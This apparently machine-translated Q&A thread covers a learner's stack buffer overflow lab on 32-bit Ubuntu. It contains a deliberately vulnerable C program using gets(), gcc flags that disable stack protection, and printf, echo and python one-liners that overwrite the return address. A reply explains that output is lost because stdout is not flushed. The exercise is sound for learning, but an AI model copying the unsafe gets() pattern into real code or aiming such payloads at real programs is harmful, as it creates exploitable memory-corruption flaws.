【问题标题】:Unable to get buffer overflow working无法使缓冲区溢出工作
【发布时间】:2016-04-20 10:17:12
【问题描述】:

我正在尝试了解缓冲区溢出攻击,并希望看到相同的工作演示。我一直在关注许多在线资源以了解相同的内容。例如,到目前为止,this 已被证明非常有用。

我清楚地理解缓冲区溢出的概念,但是,我无法让演示工作。 我在 64 位 Mac 上,在 VirtualBox(我正在尝试缓冲区溢出的机器)中运行 32 位 Ubuntu。为了解决缓冲区溢出问题,我在 Ubuntu 上禁用了 ASLR。

我有一个简单的 C 程序 demo.c,取自上述视频链接:

# include<stdio.h>

CanNeverExecute()
{
   printf("I can never execute");
}

GetInput()
{
   char buffer[8];
   gets(buffer) ; // the vulnerable function
   puts(buffer);
}

main()
{
  getInput();
  return 0;
}

我已经尝试了以下所有变体来将程序编译为:

gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o demo demo.c

gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o demo demo.c

gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -m32 -o demo demo.c

这个想法是通过利用gets() 用CanNeverExecute() 的地址覆盖堆栈上的返回地址。 CanNeverExecute 的地址原来是 0x0804847b

为此,我尝试了以下方法:

printf "123456789abc\x7b\x84\x04\x08" | ./演示

echo -e "123456789abc\x7b\x84\x04\x08" | ./演示

python -c '打印 "a"*12 + "\x7b\x84\x04\x08"' | ./演示

其中12345678是填满缓冲区空间,9abc是覆盖存储在堆栈中的ebp的值,最后存储在堆栈中的返回地址被CanNeverExecute()的地址覆盖

理想情况下,我期望(如上面的演示链接中所示)是 CanNeverBeExecuted() 被执行并打印其中的消息。

但出乎意料的是,在上述所有情况下,我都会收到“分段错误(核心转储)”,并在终端上打印以下内容:

123456789abc{,,[some_unprintable_character]

CanNeverBeExecuted() 没有被执行。

我错过了什么?需要改变什么?请帮忙。

【问题讨论】:

  • main 调用 getInput 但函数似乎命名为 GetInput。您实际编译的代码是什么?

标签: buffer-overflow c ubuntu gcc


【解决方案1】:

您的“CanNeverExecute”函数正在执行,但您看不到它的输出。将其更改为:

CanNeverExecute()
{
   printf("I can never execute\n");
   fflush(stdout);
}

问题是程序在输出缓冲区被刷新之前崩溃了。

【讨论】:

  • 添加换行符无论如何都会刷新标准输出。
  • Oleg:如果 stdout 正在写入终端,我认为这是正确的,但如果它正在写入非交互式设备/文件则不是
  • 太棒了。以前我用 C 编写代码时,我就有过这种使用 C 的经验。它已经在我记忆中的某个地方消失了。非常感谢你们。
猜你喜欢
  • 2015-12-16
  • 1970-01-01
  • 2010-11-11
  • 1970-01-01
  • 2013-11-06
  • 2012-12-18
  • 2013-04-11
  • 2015-07-07
  • 2012-02-05
相关资源
最近更新 更多